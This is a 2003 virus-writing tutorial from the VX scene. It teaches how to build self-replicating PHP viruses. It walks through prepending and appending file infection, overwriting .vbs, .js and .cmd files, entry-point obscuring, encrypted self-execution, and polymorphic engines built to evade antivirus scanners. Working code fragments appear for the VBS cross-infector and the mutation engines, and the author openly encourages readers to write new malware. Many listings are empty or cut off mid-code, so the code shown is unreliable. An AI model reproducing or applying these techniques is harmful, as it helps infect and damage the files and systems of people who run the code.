************************************************************* ************************************************************* ************ *********** ************ PHP Virus Writing Guide *********** ************ by Second Part To Hell/[rRlf] *********** ************ *********** ************************************************************* ************************************************************* Index: ****** 0) Intro Words 1) File infection a) Prepending b) Appending c) Cross Infection i) VBS infection ii) JS infection iii) CMD infection d) Entry Point Obscuring i) Include the virus after a command ii) Useing a function of the victim 2) Encryption a) Changing virus to ASCII b) Useing an intern decryption function c) Useing changed character string 3) Polymorphism a) Adding Trash b) Change Variable Names c) Number Changing 4) Other Thoughts a) Find more files b) Changing the commands 5) Last Words 0) Intro Words PHP, abbreviate: 'Hypertext Preprocessor', is a very common script language for the world-wide-web. You're possible to do nearly everthing internet related with that language. That means, you're also able to make viruses for it. The first virus for PHP, PHP.Pirus by MaskBits/VXI, was done in October 2000, and was released in 29A#5. It was no real virus, moreover a companion. It writes to every PHP-file in the current directory a line, which let the victim run the virus. But the host doesn't contain the virus. After searching something about PHP viruses I found out that there is no high-tech PHP virus so far out, because all the virus I could find are rips of PHP.Pirus (useing the same prinzip). That was my inspiration in writing such an article. I wanted to make something totally new, and I guess I had success. I tested every source with PHP 4.3.3, and everthing worked fine. Now go on reading this and learn something about PHP viruses! :) 1) File Infection That's maybe the most important thing, when you want to make a PHP virus, therefor I want to explain you, how you can infect files with PHP. It should be no problme to understand the examples, because I tried it to make as simple as possible. When the article was written (autumn 2003), there was no real file infector out there. The only interesting PHP virus so far is MaskBits' PHP.Pirus, which don't infect files, but use the command 'include' that the virus is executed in every PHP file in the current dir. You may think 'Why does he tell me this?". I don't know, just for fun :). Now let me explain you how to infect files. a) Prepending A prepender copies it's code infront of the victim's code, therefor it will be executed before the victim. That's the main idea of this kind of infection. But there are some other important things you have to note: To get the virus out of the file, you need any information about where the virus is. In my example the virus uses the first 391 bytes. Next important thing is, that you must not infect a file two times. What do to against that? Check, if the file if already infected. In the following example the virus searchs in the first 13 bytes (in an infected file it's this code: ' - - - - - - - - - - - - - [ PHP Prepender Virus Example ] - - - - - - - - - - - - - As this is a real easy virus, you should understand it quickly while looking at it. Now i'm going to give you the most important things the example does: --> Reading the first 391 bytes (which is exactly the virus size) --> Searchs for every .PHP file in the current directory --> If not infected, reading the victim b) Appending An Appender is a virus, which copies itself after the victim file. It's really easy to make one. You just have to search the last php-part (or just make a infection-mark at the begin of the virus. Then you read till the end, and you have your virus-file. The rest should clear: Search a victim, check if not infected and copy the virus-body in the end of the file. I made an exaple for that, as you migth think. The exact explanation will be in the end after the code. - - - - - - - - - - - - - [ PHP Appender Virus Example ] - - - - - - - - - - - - - - - - - - - - - - - - - - [ PHP Appender Virus Example ] - - - - - - - - - - - - - I've already explained how the prinzip works. Now I'll explain you my example: --> Opens the infected file, and save the virus body (searching for 'SPTH', and save the rest of the file) --> Searchs for every php-file in the current directory. --> Checks is not infected (searchs for the infection mark 'SPTH' anywhere in the file. If not found: Not infected --> Copies the virusbody to the file c) Cross Infection Cross Infection means infecting more than one file extansion. That's really useful, because the virus will spread much faster. That was my inspiration in writing this. I found some nice ways how to infect other file-formats, therefor I want to show you them. The biggest problem while coding these things was, that you can't execute a .php file directly, but with an Internet Browser. Fortunatly Microsoft make it possible to open the Internet Explorer very easiely. :) i) VBS infection It's really easy to infect a vbs-file, because the only important thing if you want to write such a cross infector is, that you don't have to use the sign [" = chr(34) ], because VisualBasicScript uses it for strings, and since our whole code is a string in the VBS-file, there would be an error. Now look at the example, and try to understand (shouldn be too difficult, because I made it very easy to read). - - - - - - - - - - - - - [ Cross Infector - VBS ] - - - - - - - - - - - - - ') { $vbscode.='virus.WriteLine('.chr(34).$string.chr(34).')'.chr(13).chr(10); $string=strtok(chr(13).chr(10)); } $vbscode.='virus.WriteLine('.chr(34).'?'; $vbscode.='>'.chr(34).')'.chr(13).chr(10); $vbscode.='virus.Close()'.chr(13).chr(10); $vbscode.='shell.Run '.chr(34).'index.htm'.chr(34); $directory=opendir('.'); while ($file = readdir($directory)) { if (strstr($file, '.vbs')) { fwrite(fopen($file, 'w'), $vbscode); } } closedir($directory); ?> - - - - - - - - - - - - - [ Cross Infector - VBS ] - - - - - - - - - - - - - It should be totally easy to understand this example. Anyway, I'll give you the main ideas of the little code: --> Splits the php-code (=virus) into lines [chr(13).chr(10)] --> Makes a vbs code, which generates a new HTM-file containing the virus --> Adds every line to the VBS (as string, so it will be written to the HTM-file, which will be generated by the VBS [?!?! :D]) --> After finishing the VBS-code, it searches for every .VBS in the current directory and overwrites it with the code, which we made before. ii) JS infection Infecting a JavaScript file is nearly the same as infecting a VBS file, therefore I won't give you an example. The reason for this is, that we're using WScript in VBS and JS. The only thing you have to do is to change the 'set' to 'var', and the '.vbs' to '.js', but i guess, you know that :D. I tried it, and it worked fine. iii) CMD infection This was the most difficult file extansion, which I made for this article. The reason is easy to explain: CMD = Batch for WinNT/00/XP = DOS. And as you know you are NOT allowed to use any '>', '<' or '&' in a DOS-string. But I solved the problem, as you may imagine ;). I used the characters in every string instead of the read signs. Than I had 2 more problems: The begin and the end of the PHP code, where we MUST write '<' or '>'. So I thougth about that, and suddenly a idea came to my mind: I'll use a JavaScript file, to write the first and the last line to the .htm file. And since I have to use a script anyway for starting the Internet Explorer (to run the PHP-code - DOS can't open a Internet Browser), I used that file. The result of my coding is the following file :D. I'll explain the main-ideas more exactly after the source. - - - - - - - - - - - - - [ Cross Infector - BAT ] - - - - - - - - - - - - - - - - - - - - - - - - - - [ Cross Infector - BAT ] - - - - - - - - - - - - - Now the shourt explanation of the code: --> Reads the whole file content (the virus), and splits it to lines --> Makes the .CMD code, which don't contain any '>','<' and '&' (that was the problem I wrote before) --> Adds a JavaScript code to the .CMD code, so the first and the last lines ('') will be added to the new .htm file. --> Adds a code to the .CMD code, which runs the indernet-explorer --> Overwrites every .CMD file in the current directory with the CMD-code. d) Entry Point Obscuring This is a really important technique in virus-writing. Maybe some of you don't know, what EPO exactly is. So I'll explain you: An AV-program searchs in most cases at some static offsets for the virus (maybe at the begin or at the begin). To fake them, we have to use a variable adress of the virus, and don't use any jump or call to the virus at a static adress. How could we do this? I'll show you a short 'grafic'. At this point I want to thank SnakeByte for his Perl-EPO article [released in 29a#6] for the idea, how to make a EPO virus in a script language. So, here is the grafic: [ part of the victim file ] information about the address read xxx lines of the virus open PHP file read yyy lines insert the virus read rest close PHP file [ rest of the victim file ] Now we have another problem: Where to include the virus-code in the host-file? SnakeByte did it searching for ';', which is the end of a Perl command. As you meigth know, also PHP statments ends with a ';'. Than I thought about an other way, which could be also done, since that technique could be destruction of the victim-file. Than i got an idea: including the code to an function. how i exactly mean this, I'll show you after the ';'-example. i) Include the virus after a command As I already told you, this idea comes from SnakeByte. To include a virus after a command, you have to search for a ';', which is the end of every PHP statement. That seems to be everything. Now let's have a look at the example for this EPO technique. - - - - - - - - - - - - - [ EPO virus - Type I ] - - - - - - - - - - - - - - - - - - - - - - - - - - [ EPO virus - Type I ] - - - - - - - - - - - - - This is an example for the EPO technique, which I descript above. It's quite easy to understand, anyway, I'll tell you how the virus works exactly: --> Searchs itself in the host file and reads the next 987 bytes. --> Opens a .php file --> Checks how many possible entry points the virus has --> Find one Entry Point randomly --> Reads the code before the EP and the code after it --> Writes the code before, the virus code and the code after the entry Point to the file ii) Using a function of the victim This technique is maybe little bit better than the other one. But in fact I've seen this type of EPO in any script virus (ok, I haven't seen really many EPO script viruses :D). I've already told you, that the virus will use a function by the host file. But maybe you don't really understand, what I mean, therefore I'll show you, what I mean. Here you can see a non-infected file and an infected file. Hope that help you to get the point of the idea: Normal File: Infected File: _________________________ _________________________ | HOST-CODE-1 | | HOST-CODE-1 | | call to function() | | call to function() | | HOST-CODE-2 | | HOST-CODE-2 | | function() | | function() | | HOST CODE-3 | | < < VIRUS > > | | end function | | call to real funtion | | HOST-CODE-4 | | end function | |_________________________| | HOST-CODE-4 | | real function | | HOST CODE-3 | | end real function | |_________________________| Now you should understand, what I mean, but how to manage this? First you have to search for every function in the code than you use on of them, save the victim's function code and copy the virus code to the function. After the virus code you need a call to a real function, which you can add in the end of the file. The name of the real function is no problem, since your code call it. Now I also made an exaple for this technique, as you may imagine. Look at it, and try to understand. The techniqual description will follow after the code: - - - - - - - - - - - - - [ EPO virus - Type II ] - - - - - - - - - - - - - '))); $coundj=0; $newvar=''; do { $newvar.=chr(rand(97,122)); $countj++; } while ($countj'); } } } ?> - - - - - - - - - - - - - [ EPO virus - Type II ] - - - - - - - - - - - - - To understand this code, you must not be a beginner. :) I worked about 4-5h at this little thing. Anyway, it works really fine and I want to tell you, how it works: --> Searchs for the virus itselfs via a variable called '$ln', which contains the information, where the virus is in the file. The variable have to be new generated every virus run, since the virus is at different places every generation. It contains the Entry Point in bytes. --> Searchs for a .PHP file, which are not already infected --> Searchs for 'function ' in the victim, to get the possible new entry points --> Find one Entry Point randomly --> Searchs for the content, which is before the founden function --> Searchs for the funtion-content --> Searchs for the content, which is after the founden function --> Makes a new function, with a random name, and include the function-content --> Writes the beginn-content, the function with the virus content, a call to the new function (which contains the real host-code), the after-content, and the new function with the whole content from the function. 2) Encryption The first part of the article should give you the idea, how to write a success- ful virus in PHP. But more or less, these techniques are easy to detect for Anti-Virus companies. Therefore I also want to show you, how to fake them. This (and of corse the next part: Polymorphism) of the article should help you to write a PHP virus, which can not be detected by simple string scan or just to decrease scanstrings. I found many different kinds to crypt a PHP string, and of corse, I want to tell them to you :) a) Changing virus to ASCII Using the whole virus into characters should not be a big problem. To execute the code in character I thought about 'eval()'. But after 2h of testing I saw that it don't work. So I had to think of another way: Include the virus- code (written in ASCII) to a new file, run the file via 'include()', and delete it. Therefor I made an example, which shows, how you may use the technique: - - - - - - - - - - - - - [ Encryption Example - Type I ] - - - - - - - - - - - - - - - - - - - - - - - - - - [ Encryption Example - Type I ] - - - - - - - - - - - - - You should understand the prinzip of the code really fast. The encrypt code contains a 'secret' message. :) I'll show you, how it works, if you haven't understand it so far: --> '$content' contains a PHP script in ASCII form. Here you should use your virus code. Just making ASCII of the normal letters, and add them to a variable. NOTE: Since the encrypt data should be a fully workable file, you have to add '', and the whole PHP syntax (for instands semikolons). --> Makes a new file (because I couldn't find a command to make a file, I copies '__FILE__', and overwrites it. --> Writes the encrypt content to the file (but now: unencrypt!) --> Opens the file (via 'include(<-file->)') --> Deletes the file (via 'unlink(<-file->)') b) Useing an intern decryption function This head-line sounds strange. Well, it isn't :). The basic of the idea is this one: You call a function with 3 values, and get the right sign back. The idea isn't hard to understand. I used the same prinzip as at the last example. The only differents is the encryption: Now I use a function-call instead of a real sign. But because the function calculates the right sign, and returns it, it's no problem. I hope, that you understand it. Now let's have a look at my example for this techique: - - - - - - - - - - - - - [ Encryption Example - Type II ] - - - - - - - - - - - - - - - - - - - - - - - - - - [ Encryption Example - Type II ] - - - - - - - - - - - - - Well, you should have understand what I meant, when you looked at the code. I'll show you, what it does exacly. The encrypt code is a secret message again :) --> Every sign is a call to the function with 3 values. The first and the second value are the numbers, the third value is just the information, which calculation the function will have to do (+,-,/), something like the key. --> After getting every sign, the code will do the same as the code above. c) Useing changed character string This technique is a well-known one in script languages. For instands jackie did it in JavaScript. Therefore I thought that it should also be able make it in PHP. And as you can see, it was able. The technique works as follow: The (virus-) code is encrypt in a variable. It's encrypt via adding 3 (the key) to the ASCII of every character. Should be easy to understand. Now let's look at the example I made: - - - - - - - - - - - - - [ Encryption Example - Type III ] - - - - - - - - - - - - -  BA'; $i=0; $content=''; while($i - - - - - - - - - - - - - [ Encryption Example - Type III ] - - - - - - - - - - - - - The encrypt variable-content contains the code of a PHP file writing a message to the screen. The rest works as always: Makeing a new file, and overwrite them with the decrypt code, execute the file, and delete it. How the en/decryption works I'll show you: --> Changes ever character of the encrypt string to ASCII numbers (via 'ord()') --> Decreases the number with the key (which is 3 in this sample) --> Changes the number back to characters (via 'chr()'), and you got the real string. 3) Polymorphism As everybody knows, this is one of the most important techniques to fake AVs and to show, that you know, what you're doing :). So I desided also to write something about this technique here. In fact, I've never seen any other poly PHP virus around the world (maybe it exists anyway). It was really easy for me to write some poly-engines, because PHP isn't a really difficult language. I tried my best to show you, how a PHP poly engine could work. a) Adding Trash This technique is a well-known in many script languages. Therefor I tought, it should also be possible in PHP. Then I sat down, and began to write. About 2h later (with smoking-breaks, sure :D), I had the finished code. First I want to tell you, what kind of trash/junk/garbage I included in my example: - // shsdfjksfdjfds - $kasjkh=192847832; - $lwekjcmws='iwsdkjhfskjbnla'; Well, now we know, what to include. Anything else to do? Sure, we have to delete the trash again, oterhwise the file would have 2MB after the 10th time you run it, and I think, you don't want that. :) So, how to delete trash? In my example I searched the first letter of a line, and checked, if it's a '/' or a $'. If yes, it's trash and we don't have to include it to our new code. It seems I explained everthing. Now let's have a look at the code: - - - - - - - - - - - - - - - [ Adding Trash example ] - - - - - - - - - - - - - - - ') { if(rand(0,1)) { if (rand(0,1)) { $newcont.='// '.trash('').chr(13).chr(10); } if (rand(0,1)) { $newcont.='$'.trash('').'='.chr(39).trash('').chr(39).';'.chr(13).chr(10); } if (rand(0,1)) { $newcont.='$'.trash('').'='.rand().';'.chr(13).chr(10); } } $string=strtok(chr(13).chr(10)); if ($string{0}!='/' && $string{0}!='$') { $newcont.=$string.chr(13).chr(10); } fwrite(fopen(__FILE__, 'w'),$newcont); } function trash($var) { do { $var.=chr(rand(97,122)); } while (rand(0,7)); return $var; } ?> - - - - - - - - - - - - - - - [ Adding Trash example ] - - - - - - - - - - - - - - - Everthing should be clear now, anyway, I'll tell you the most important things in this code-snip: --> It splits the whole filecontent of the virus ('__FILE__', as it's called in PHP) to lines (chr(13).chr(10)). --> One in two, if the last line wasn't a trash, it adds a trashline. --> If the last line was no trashline, it adds the line to the new content --> It writes the new content to the file b) Variable Changing This is another well-known script technique to morph the virus. So I did it again in PHP. Let's explain the technique. You're useing many varibles in a virus, and if the variables have the same name every generation, our friends the AV-guys are able to use this fact to detect the virus. So it could be of much value to change the variable-names. How I did it? I used an array with all my varibale, which i'm using. Than I searched for every value from the array in the virus-file (=i searched for every variable), and replaced it via the command 'str_replace' and used a new one, which got by my 'trash-function'. Now let's look at the source of the example: - - - - - - - - - - - - - - - [ Variable changing example ] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [ Variable changing example ] - - - - - - - - - - - - - - - Easy code, easy to understand. Anyway, let me tell you, how it exactly works: --> Makes a new array with all variables and function-names --> Gets the whole content of the virus-file --> Replaces every element of the array in the content, and use a new one. --> Writes the content back to the file c) Number Changing Every code contains any numbers, whatever this number does. After thinking a little bit I found out, that I can change the numbers too. So I desited to make a PHP code, which changes the numbers in it's code. How can we change a number, you may think. It's really easy: You make a calculation with that number, which returns the number you want. Let's have a look at the possible variants: --> 10=(12-2) --> 10=(8+2) --> 10=(80/8) I also tried to use div, but there are comma-numbers, which don't really work. But it's no problem, there are enought variants with just 3 calculation types. Now I'll show you, how a number could be after the 4th morphing: --> 10=((((1289-9)/(6+2))/((15+5)-(4+6)))-(((252/6)/(7-1))-((4+3)-(30/5)))) Now I hope, that you know about the damn cool results of this technique :) After explaining the main-thing, I'll show you the little code, who changes the numbers. - - - - - - - - - - - - - - - [ Number Changing example ] - - - - - - - - - - - - - - - 47 && ord($newcont{$count})<58) { $number=$newcont{$count}; while(ord($newcont{++$count})>47 && ord($newcont{$count})<58) { $number.=$newcont{$count}; } $remn=rand(1,10); switch(rand(1,3)) { case 1: $cont.='('.($number-$remn).'+'.$remn.')'; break; case 2: $cont.='('.($number+$remn).'-'.$remn.')'; break; case 3: $cont.='('.($number*$remn).'/'.$remn.')'; break; } } $cont.=$newcont{$count}; $number=''; } fwrite(fopen(__FILE__,'w'),$cont); ?> - - - - - - - - - - - - - - - [ Number Changing example ] - - - - - - - - - - - - - - - Now a shourt explanation about the code: --> Reads everything from the file --> Searchs for a number in every sign [sign>chr(47) && sign Reads the rest of the number --> makes a new calculation with that number --> Writes the new content to the file 4) Other thoughts When I wrote this article, some other ideas came to my mind, therefore I also what to give the ideas to you. Maybe that some of the ideas are just non-sense or other are brilliant (I don't think so, but wonder happens :D ). OK, let's start: This part contains ideas for better hideing to don't become detected, or how to spread faster. I hope, you also like to read this! a) Find more files What must we do if we want to find more files? Search in more directories. :) My idea is this one: Since the command 'getcwd()' returns the current dir, we are able to infect also every root-directory. How to do this? Look at the return-value of 'getcwd()': --> E:\SPTH\Programme\minixampp\htdocs Now we have 4 directories, which aren't infected so far: ~~ E:\SPTH\Programme\minixampp ~~ E:\SPTH\Programme ~~ E:\SPTH ~~ E:\ And how to get the directories? Just searchs for a '\' in the current dir, than delete character by character, till you have a '\'. Than you have the directory- name. The rest is easy: Open it via 'opendir()', and do the same as I tried to explain you :) b) Changing the commands Maybe you already know it, but PHP contains tons of aliases for different commands and we can use that. I'm sure you know how :) Just replace one command with another, which is doing the same. I made a list of commands and it's aliases, to show you, how much we are able to change. This is just a short list, nevertheless it could be useful, when you want to make such a polymorphism virus. chop - rtrim() close - closedir() die - exit() dir - getdir() doubleval - floatval() fputs - fwrite() ini_alter - ini_set() is_double - is_float() is_integer - is_int() is_long - is_int() is_real - is_float() is_writeable - is_writable() join - implode() magic_quotes_runtime - set_magic_quotes_runtime() pos - current() rewind - rewinddir() show_source - highlight_file() sizeof - count() strchr - strstr() Get the full list of aliases here: http://zend.com/phpfunc/all_aliases.php 5) Last Words Comming to an end I want to say that I had really much fun while discovering this language, and I also hope, that you learned some things. I hope, that I will see many new and good PHP maleware in near future. If I don't see any, I know, that I worked 2-3 month for nothing. :) But let's see it positiv: Now it's easy to write strong viruses for this language, because the techniques are already discovered. Here at this point I want to thank MaskBits/VXI for making the first PHP maleware called PHP.Pirus, which were released in 29a#5. This inspired me in writing this article, because I found out, that the current PHP viruses are not at the point where you can say: "It's perfect, we can't make it better." :). Another guy I want to thank is SnakeByte, because of his articles about Perl poly/EPO/encryption in 29a#6. It helped me in some parts of this article. Greets goes also to Kefi, who wrote also a PHP-poly- morphic virus, which I haven't seen so far. The fact that I know that made me very activ in writing this article :). Now I want to send some greets and thanks out to the world, because I think that I said everything, what is important: PhileT0aster and the rest of the rRlf-gang ;), jackie for being something like an idol for me, SlageHammer & Knowdeth - the most friendly VX guys i know :), VirusBuster - for answering my stupid questions every time, Vorgon - for trying to teach me assembler :D, Toro - for helping me with many problems, SnakeByte for the great tutorials you wrote, SAD1c - for beeing a great guy, VorteX & Worf for being the first guys who helped in the VX-world :), VxF & Metal for the great fun in IRC :), Doctor Rave for some great ideas you gave me, prizzy for the nice email you wrote, herm1t for hosting my homepage, sinocred for hateing the ' hi' :D, PanoiX for being a cool guy :), Arzy for being very helpful :D, Necronomikon & Gigabyte for cool talks in IRC (unfortunatly we have nearly no contact recently) and many other cool individuals I know... :) I also want to send out some group greets: Greets to rRlf (of course :D), 29A, iKx, SLAM, TKT, MIONS, Whackerz and every other more or less activ virus-writing-group! - - - - - - - - - - - - - - - Second Part To Hell/[rRlf] www.spth.de.vu spth@aonmail.at written from oct-november 2003 Austria - - - - - - - - - - - - - - -